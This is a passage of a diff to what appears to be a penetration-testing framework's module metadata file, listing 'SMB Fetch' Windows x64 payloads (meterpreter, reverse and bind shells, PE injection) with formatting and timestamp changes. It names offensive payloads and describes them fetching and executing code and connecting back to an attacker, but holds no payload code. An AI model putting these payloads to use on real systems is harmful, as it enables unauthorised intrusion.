"payload/cmd/windows/smb/x64/meterpreter/bind_ipv6_tcp_uuid", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -236779,15 +238766,14 @@ "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2024-01-04 14:11:03 +0000", + "mod_time": "2025-02-07 15:59:31 +0000", "path": "/modules/payloads/adapters/cmd/windows/smb/x64.rb", "is_install_path": true, "ref_name": "cmd/windows/smb/x64/meterpreter/bind_ipv6_tcp_uuid", "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -236800,9 +238786,7 @@ "payload_cmd/windows/smb/x64/meterpreter/bind_named_pipe": { "name": "SMB Fetch, Windows x64 Bind Named Pipe Stager", "fullname": "payload/cmd/windows/smb/x64/meterpreter/bind_named_pipe", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -236824,15 +238808,14 @@ "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2024-01-04 14:11:03 +0000", + "mod_time": "2025-02-07 15:59:31 +0000", "path": "/modules/payloads/adapters/cmd/windows/smb/x64.rb", "is_install_path": true, "ref_name": "cmd/windows/smb/x64/meterpreter/bind_named_pipe", "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -236845,9 +238828,7 @@ "payload_cmd/windows/smb/x64/meterpreter/bind_tcp": { "name": "SMB Fetch, Windows x64 Bind TCP Stager", "fullname": "payload/cmd/windows/smb/x64/meterpreter/bind_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -236868,15 +238849,14 @@ "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2024-01-04 14:11:03 +0000", + "mod_time": "2025-02-07 15:59:31 +0000", "path": "/modules/payloads/adapters/cmd/windows/smb/x64.rb", "is_install_path": true, "ref_name": "cmd/windows/smb/x64/meterpreter/bind_tcp", "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -236889,9 +238869,7 @@ "payload_cmd/windows/smb/x64/meterpreter/bind_tcp_rc4": { "name": "SMB Fetch, Bind TCP Stager (RC4 Stage Encryption, Metasm)", "fullname": "payload/cmd/windows/smb/x64/meterpreter/bind_tcp_rc4", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -236916,15 +238894,14 @@ "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2024-01-04 14:11:03 +0000", + "mod_time": "2025-02-07 15:59:31 +0000", "path": "/modules/payloads/adapters/cmd/windows/smb/x64.rb", "is_install_path": true, "ref_name": "cmd/windows/smb/x64/meterpreter/bind_tcp_rc4", "check": false, "post_auth": true, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -236937,9 +238914,7 @@ "payload_cmd/windows/smb/x64/meterpreter/bind_tcp_uuid": { "name": "SMB Fetch, Bind TCP Stager with UUID Support (Windows x64)", "fullname": "payload/cmd/windows/smb/x64/meterpreter/bind_tcp_uuid", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -236960,15 +238935,14 @@ "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2024-01-04 14:11:03 +0000", + "mod_time": "2025-02-07 15:59:31 +0000", "path": "/modules/payloads/adapters/cmd/windows/smb/x64.rb", "is_install_path": true, "ref_name": "cmd/windows/smb/x64/meterpreter/bind_tcp_uuid", "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -236981,9 +238955,7 @@ "payload_cmd/windows/smb/x64/meterpreter/reverse_http": { "name": "SMB Fetch, Windows x64 Reverse HTTP Stager (wininet)", "fullname": "payload/cmd/windows/smb/x64/meterpreter/reverse_http", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -237004,15 +238976,14 @@ "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2024-01-04 14:11:03 +0000", + "mod_time": "2025-02-07 15:59:31 +0000", "path": "/modules/payloads/adapters/cmd/windows/smb/x64.rb", "is_install_path": true, "ref_name": "cmd/windows/smb/x64/meterpreter/reverse_http", "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -237025,9 +238996,7 @@ "payload_cmd/windows/smb/x64/meterpreter/reverse_https": { "name": "SMB Fetch, Windows x64 Reverse HTTP Stager (wininet)", "fullname": "payload/cmd/windows/smb/x64/meterpreter/reverse_https", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -237051,15 +239020,14 @@ "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2024-01-04 14:11:03 +0000", + "mod_time": "2025-02-07 15:59:31 +0000", "path": "/modules/payloads/adapters/cmd/windows/smb/x64.rb", "is_install_path": true, "ref_name": "cmd/windows/smb/x64/meterpreter/reverse_https", "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -237072,9 +239040,7 @@ "payload_cmd/windows/smb/x64/meterpreter/reverse_named_pipe": { "name": "SMB Fetch, Windows x64 Reverse Named Pipe (SMB) Stager", "fullname": "payload/cmd/windows/smb/x64/meterpreter/reverse_named_pipe", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -237095,15 +239061,14 @@ "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2024-01-04 14:11:03 +0000", + "mod_time": "2025-02-07 15:59:31 +0000", "path": "/modules/payloads/adapters/cmd/windows/smb/x64.rb", "is_install_path": true, "ref_name": "cmd/windows/smb/x64/meterpreter/reverse_named_pipe", "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -237116,9 +239081,7 @@ "payload_cmd/windows/smb/x64/meterpreter/reverse_tcp": { "name": "SMB Fetch, Windows x64 Reverse TCP Stager", "fullname": "payload/cmd/windows/smb/x64/meterpreter/reverse_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -237139,15 +239102,14 @@ "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2024-01-04 14:11:03 +0000", + "mod_time": "2025-02-07 15:59:31 +0000", "path": "/modules/payloads/adapters/cmd/windows/smb/x64.rb", "is_install_path": true, "ref_name": "cmd/windows/smb/x64/meterpreter/reverse_tcp", "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -237160,9 +239122,7 @@ "payload_cmd/windows/smb/x64/meterpreter/reverse_tcp_rc4": { "name": "SMB Fetch, Reverse TCP Stager (RC4 Stage Encryption, Metasm)", "fullname": "payload/cmd/windows/smb/x64/meterpreter/reverse_tcp_rc4", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -237187,15 +239147,14 @@ "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2024-01-04 14:11:03 +0000", + "mod_time": "2025-02-07 15:59:31 +0000", "path": "/modules/payloads/adapters/cmd/windows/smb/x64.rb", "is_install_path": true, "ref_name": "cmd/windows/smb/x64/meterpreter/reverse_tcp_rc4", "check": false, "post_auth": true, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -237208,9 +239167,7 @@ "payload_cmd/windows/smb/x64/meterpreter/reverse_tcp_uuid": { "name": "SMB Fetch, Reverse TCP Stager with UUID Support (Windows x64)", "fullname": "payload/cmd/windows/smb/x64/meterpreter/reverse_tcp_uuid", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -237231,15 +239188,14 @@ "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2024-01-04 14:11:03 +0000", + "mod_time": "2025-02-07 15:59:31 +0000", "path": "/modules/payloads/adapters/cmd/windows/smb/x64.rb", "is_install_path": true, "ref_name": "cmd/windows/smb/x64/meterpreter/reverse_tcp_uuid", "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -237252,9 +239208,7 @@ "payload_cmd/windows/smb/x64/meterpreter/reverse_winhttp": { "name": "SMB Fetch, Windows x64 Reverse HTTP Stager (winhttp)", "fullname": "payload/cmd/windows/smb/x64/meterpreter/reverse_winhttp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -237275,15 +239229,14 @@ "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2024-01-04 14:11:03 +0000", + "mod_time": "2025-02-07 15:59:31 +0000", "path": "/modules/payloads/adapters/cmd/windows/smb/x64.rb", "is_install_path": true, "ref_name": "cmd/windows/smb/x64/meterpreter/reverse_winhttp", "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -237296,9 +239249,7 @@ "payload_cmd/windows/smb/x64/meterpreter/reverse_winhttps": { "name": "SMB Fetch, Windows x64 Reverse HTTPS Stager (winhttp)", "fullname": "payload/cmd/windows/smb/x64/meterpreter/reverse_winhttps", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -237319,15 +239270,14 @@ "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2024-01-04 14:11:03 +0000", + "mod_time": "2025-02-07 15:59:31 +0000", "path": "/modules/payloads/adapters/cmd/windows/smb/x64.rb", "is_install_path": true, "ref_name": "cmd/windows/smb/x64/meterpreter/reverse_winhttps", "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -237340,9 +239290,7 @@ "payload_cmd/windows/smb/x64/meterpreter_bind_named_pipe": { "name": "SMB Fetch, Windows Meterpreter Shell, Bind Named Pipe Inline (x64)", "fullname": "payload/cmd/windows/smb/x64/meterpreter_bind_named_pipe", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -237363,15 +239311,14 @@ "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2024-01-04 14:11:03 +0000", + "mod_time": "2025-02-07 15:59:31 +0000", "path": "/modules/payloads/adapters/cmd/windows/smb/x64.rb", "is_install_path": true, "ref_name": "cmd/windows/smb/x64/meterpreter_bind_named_pipe", "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -237382,9 +239329,7 @@ "payload_cmd/windows/smb/x64/meterpreter_bind_tcp": { "name": "SMB Fetch, Windows Meterpreter Shell, Bind TCP Inline (x64)", "fullname": "payload/cmd/windows/smb/x64/meterpreter_bind_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -237404,15 +239349,14 @@ "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2024-01-04 14:11:03 +0000", + "mod_time": "2025-02-07 15:59:31 +0000", "path": "/modules/payloads/adapters/cmd/windows/smb/x64.rb", "is_install_path": true, "ref_name": "cmd/windows/smb/x64/meterpreter_bind_tcp", "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -237423,9 +239367,7 @@ "payload_cmd/windows/smb/x64/meterpreter_reverse_http": { "name": "SMB Fetch, Windows Meterpreter Shell, Reverse HTTP Inline (x64)", "fullname": "payload/cmd/windows/smb/x64/meterpreter_reverse_http", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -237445,15 +239387,14 @@ "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2024-01-04 14:11:03 +0000", + "mod_time": "2025-02-07 15:59:31 +0000", "path": "/modules/payloads/adapters/cmd/windows/smb/x64.rb", "is_install_path": true, "ref_name": "cmd/windows/smb/x64/meterpreter_reverse_http", "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -237464,9 +239405,7 @@ "payload_cmd/windows/smb/x64/meterpreter_reverse_https": { "name": "SMB Fetch, Windows Meterpreter Shell, Reverse HTTPS Inline (x64)", "fullname": "payload/cmd/windows/smb/x64/meterpreter_reverse_https", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -237486,15 +239425,14 @@ "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2024-01-04 14:11:03 +0000", + "mod_time": "2025-02-07 15:59:31 +0000", "path": "/modules/payloads/adapters/cmd/windows/smb/x64.rb", "is_install_path": true, "ref_name": "cmd/windows/smb/x64/meterpreter_reverse_https", "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -237505,9 +239443,7 @@ "payload_cmd/windows/smb/x64/meterpreter_reverse_ipv6_tcp": { "name": "SMB Fetch, Windows Meterpreter Shell, Reverse TCP Inline (IPv6) (x64)", "fullname": "payload/cmd/windows/smb/x64/meterpreter_reverse_ipv6_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -237527,15 +239463,14 @@ "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2024-01-04 14:11:03 +0000", + "mod_time": "2025-02-07 15:59:31 +0000", "path": "/modules/payloads/adapters/cmd/windows/smb/x64.rb", "is_install_path": true, "ref_name": "cmd/windows/smb/x64/meterpreter_reverse_ipv6_tcp", "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -237546,9 +239481,7 @@ "payload_cmd/windows/smb/x64/meterpreter_reverse_tcp": { "name": "SMB Fetch, Windows Meterpreter Shell, Reverse TCP Inline x64", "fullname": "payload/cmd/windows/smb/x64/meterpreter_reverse_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -237568,15 +239501,14 @@ "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2024-01-04 14:11:03 +0000", + "mod_time": "2025-02-07 15:59:31 +0000", "path": "/modules/payloads/adapters/cmd/windows/smb/x64.rb", "is_install_path": true, "ref_name": "cmd/windows/smb/x64/meterpreter_reverse_tcp", "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -237587,9 +239519,7 @@ "payload_cmd/windows/smb/x64/peinject/bind_ipv6_tcp": { "name": "SMB Fetch, Windows x64 IPv6 Bind TCP Stager", "fullname": "payload/cmd/windows/smb/x64/peinject/bind_ipv6_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -237608,15 +239538,14 @@ "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2024-01-04 14:11:03 +0000", + "mod_time": "2025-02-07 15:59:31 +0000", "path": "/modules/payloads/adapters/cmd/windows/smb/x64.rb", "is_install_path": true, "ref_name": "cmd/windows/smb/x64/peinject/bind_ipv6_tcp", "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -237629,9 +239558,7 @@ "payload_cmd/windows/smb/x64/peinject/bind_ipv6_tcp_uuid": { "name": "SMB Fetch, Windows x64 IPv6 Bind TCP Stager with UUID Support", "fullname": "payload/cmd/windows/smb/x64/peinject/bind_ipv6_tcp_uuid", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -237651,15 +239578,14 @@ "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2024-01-04 14:11:03 +0000", + "mod_time": "2025-02-07 15:59:31 +0000", "path": "/modules/payloads/adapters/cmd/windows/smb/x64.rb", "is_install_path": true, "ref_name": "cmd/windows/smb/x64/peinject/bind_ipv6_tcp_uuid", "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -237672,9 +239598,7 @@ "payload_cmd/windows/smb/x64/peinject/bind_named_pipe": { "name": "SMB Fetch, Windows x64 Bind Named Pipe Stager", "fullname": "payload/cmd/windows/smb/x64/peinject/bind_named_pipe", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -237693,15 +239617,14 @@ "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2024-01-04 14:11:03 +0000", + "mod_time": "2025-02-07 15:59:31 +0000", "path": "/modules/payloads/adapters/cmd/windows/smb/x64.rb", "is_install_path": true, "ref_name": "cmd/windows/smb/x64/peinject/bind_named_pipe", "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -237714,9 +239637,7 @@ "payload_cmd/windows/smb/x64/peinject/bind_tcp": { "name": "SMB Fetch, Windows x64 Bind TCP Stager", "fullname": "payload/cmd/windows/smb/x64/peinject/bind_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -237735,15 +239656,14 @@ "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2024-01-04 14:11:03 +0000", + "mod_time": "2025-02-07 15:59:31 +0000", "path": "/modules/payloads/adapters/cmd/windows/smb/x64.rb", "is_install_path": true, "ref_name": "cmd/windows/smb/x64/peinject/bind_tcp", "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -237756,9 +239676,7 @@ "payload_cmd/windows/smb/x64/peinject/bind_tcp_rc4": { "name": "SMB Fetch, Bind TCP Stager (RC4 Stage Encryption, Metasm)", "fullname": "payload/cmd/windows/smb/x64/peinject/bind_tcp_rc4", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -237782,15 +239700,14 @@ "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2024-01-04 14:11:03 +0000", + "mod_time": "2025-02-07 15:59:31 +0000", "path": "/modules/payloads/adapters/cmd/windows/smb/x64.rb", "is_install_path": true, "ref_name": "cmd/windows/smb/x64/peinject/bind_tcp_rc4", "check": false, "post_auth": true, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -237803,9 +239720,7 @@ "payload_cmd/windows/smb/x64/peinject/bind_tcp_uuid": { "name": "SMB Fetch, Bind TCP Stager with UUID Support (Windows x64)", "fullname": "payload/cmd/windows/smb/x64/peinject/bind_tcp_uuid", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -237825,15 +239740,14 @@ "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2024-01-04 14:11:03 +0000", + "mod_time": "2025-02-07 15:59:31 +0000", "path": "/modules/payloads/adapters/cmd/windows/smb/x64.rb", "is_install_path": true, "ref_name": "cmd/windows/smb/x64/peinject/bind_tcp_uuid", "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -237846,9 +239760,7 @@ "payload_cmd/windows/smb/x64/peinject/reverse_named_pipe": { "name": "SMB Fetch, Windows x64 Reverse Named Pipe (SMB) Stager", "fullname": "payload/cmd/windows/smb/x64/peinject/reverse_named_pipe", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -237867,15 +239779,14 @@ "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2024-01-04 14:11:03 +0000", + "mod_time": "2025-02-07 15:59:31 +0000", "path": "/modules/payloads/adapters/cmd/windows/smb/x64.rb", "is_install_path": true, "ref_name": "cmd/windows/smb/x64/peinject/reverse_named_pipe", "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -237888,9 +239799,7 @@ "payload_cmd/windows/smb/x64/peinject/reverse_tcp": { "name": "SMB Fetch, Windows x64 Reverse TCP Stager", "fullname": "payload/cmd/windows/smb/x64/peinject/reverse_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -237909,15 +239818,14 @@ "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2024-01-04 14:11:03 +0000", + "mod_time": "2025-02-07 15:59:31 +0000", "path": "/modules/payloads/adapters/cmd/windows/smb/x64.rb", "is_install_path": true, "ref_name": "cmd/windows/smb/x64/peinject/reverse_tcp", "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -237930,9 +239838,7 @@ "payload_cmd/windows/smb/x64/peinject/reverse_tcp_rc4": { "name": "SMB Fetch, Reverse TCP Stager (RC4 Stage Encryption, Metasm)", "fullname": "payload/cmd/windows/smb/x64/peinject/reverse_tcp_rc4", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -237956,15 +239862,14 @@ "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2024-01-04 14:11:03 +0000", + "mod_time": "2025-02-07 15:59:31 +0000", "path": "/modules/payloads/adapters/cmd/windows/smb/x64.rb", "is_install_path": true, "ref_name": "cmd/windows/smb/x64/peinject/reverse_tcp_rc4", "check": false, "post_auth": true, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -237977,9 +239882,7 @@ "payload_cmd/windows/smb/x64/peinject/reverse_tcp_uuid": { "name": "SMB Fetch, Reverse TCP Stager with UUID Support (Windows x64)", "fullname": "payload/cmd/windows/smb/x64/peinject/reverse_tcp_uuid", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -237999,15 +239902,14 @@ "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2024-01-04 14:11:03 +0000", + "mod_time": "2025-02-07 15:59:31 +0000", "path": "/modules/payloads/adapters/cmd/windows/smb/x64.rb", "is_install_path": true, "ref_name": "cmd/windows/smb/x64/peinject/reverse_tcp_uuid", "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -238020,9 +239922,7 @@ "payload_cmd/windows/smb/x64/pingback_reverse_tcp": { "name": "SMB Fetch, Windows x64 Pingback, Reverse TCP Inline", "fullname": "payload/cmd/windows/smb/x64/pingback_reverse_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -238031,24 +239931,21 @@ "bwatters-r7" ], "description": "Fetch and execute an x64 payload from an SMB server.\nConnect back to attacker and report UUID (Windows x64)", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "cmd", "rport": null, "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2024-01-04 14:11:03 +0000", + "mod_time": "2025-02-07 15:59:31 +0000", "path": "/modules/payloads/adapters/cmd/windows/smb/x64.rb", "is_install_path": true, "ref_name": "cmd/windows/smb/x64/pingback_reverse_tcp", "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -238059,9 +239956,7 @@ "payload_cmd/windows/smb/x64/powershell_bind_tcp": { "name": "SMB Fetch", "fullname": "payload/cmd/windows/smb/x64/powershell_bind_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -238081,15 +239976,14 @@ "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2024-01-04 14:11:03 +0000", + "mod_time": "2025-02-07 15:59:31 +0000", "path": "/modules/payloads/adapters/cmd/windows/smb/x64.rb", "is_install_path": true, "ref_name": "cmd/windows/smb/x64/powershell_bind_tcp", "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -238100,9 +239994,7 @@ "payload_cmd/windows/smb/x64/powershell_reverse_tcp": { "name": "SMB Fetch", "fullname": "payload/cmd/windows/smb/x64/powershell_reverse_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -238122,15 +240014,14 @@ "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2024-01-04 14:11:03 +0000", + "mod_time": "2025-02-07 15:59:31 +0000", "path": "/modules/payloads/adapters/cmd/windows/smb/x64.rb", "is_install_path": true, "ref_name": "cmd/windows/smb/x64/powershell_reverse_tcp", "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -238141,9 +240032,7 @@ "payload_cmd/windows/smb/x64/powershell_reverse_tcp_ssl": { "name": "SMB Fetch", "fullname": "payload/cmd/windows/smb/x64/powershell_reverse_tcp_ssl", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -238163,15 +240052,14 @@ "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2024-01-04 14:11:03 +0000", + "mod_time": "2025-02-07 15:59:31 +0000", "path": "/modules/payloads/adapters/cmd/windows/smb/x64.rb", "is_install_path": true, "ref_name": "cmd/windows/smb/x64/powershell_reverse_tcp_ssl", "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -238182,9 +240070,7 @@ "payload_cmd/windows/smb/x64/shell/bind_ipv6_tcp": { "name": "SMB Fetch, Windows x64 Command Shell, Windows x64 IPv6 Bind TCP Stager", "fullname": "payload/cmd/windows/smb/x64/shell/bind_ipv6_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -238193,24 +240079,21 @@ "sf " ], "description": "Fetch and execute an x64 payload from an SMB server.\nSpawn a piped command shell (Windows x64) (staged).\n\nListen for an IPv6 connection (Windows x64)", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "cmd", "rport": null, "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2024-01-04 14:11:03 +0000", + "mod_time": "2025-02-07 15:59:31 +0000", "path": "/modules/payloads/adapters/cmd/windows/smb/x64.rb", "is_install_path": true, "ref_name": "cmd/windows/smb/x64/shell/bind_ipv6_tcp", "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -238223,9 +240106,7 @@ "payload_cmd/windows/smb/x64/shell/bind_ipv6_tcp_uuid": { "name": "SMB Fetch, Windows x64 Command Shell, Windows x64 IPv6 Bind TCP Stager with UUID Support", "fullname": "payload/cmd/windows/smb/x64/shell/bind_ipv6_tcp_uuid", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -238235,24 +240116,21 @@ "OJ Reeves" ], "description": "Fetch and execute an x64 payload from an SMB server.\nSpawn a piped command shell (Windows x64) (staged).\n\nListen for an IPv6 connection with UUID Support (Windows x64)", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "cmd", "rport": null, "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2024-01-04 14:11:03 +0000", + "mod_time": "2025-02-07 15:59:31 +0000", "path": "/modules/payloads/adapters/cmd/windows/smb/x64.rb", "is_install_path": true, "ref_name": "cmd/windows/smb/x64/shell/bind_ipv6_tcp_uuid", "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -238265,9 +240143,7 @@ "payload_cmd/windows/smb/x64/shell/bind_named_pipe": { "name": "SMB Fetch, Windows x64 Command Shell, Windows x64 Bind Named Pipe Stager", "fullname": "payload/cmd/windows/smb/x64/shell/bind_named_pipe", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -238277,24 +240153,21 @@ "UserExistsError" ], "description": "Fetch and execute an x64 payload from an SMB server.\nSpawn a piped command shell (Windows x64) (staged).\n\nListen for a pipe connection (Windows x64)", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "cmd", "rport": null, "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2024-01-04 14:11:03 +0000", + "mod_time": "2025-02-07 15:59:31 +0000", "path": "/modules/payloads/adapters/cmd/windows/smb/x64.rb", "is_install_path": true, "ref_name": "cmd/windows/smb/x64/shell/bind_named_pipe", "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -238307,9 +240180,7 @@ "payload_cmd/windows/smb/x64/shell/bind_tcp": { "name": "SMB Fetch, Windows x64 Command Shell, Windows x64 Bind TCP Stager", "fullname": "payload/cmd/windows/smb/x64/shell/bind_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, 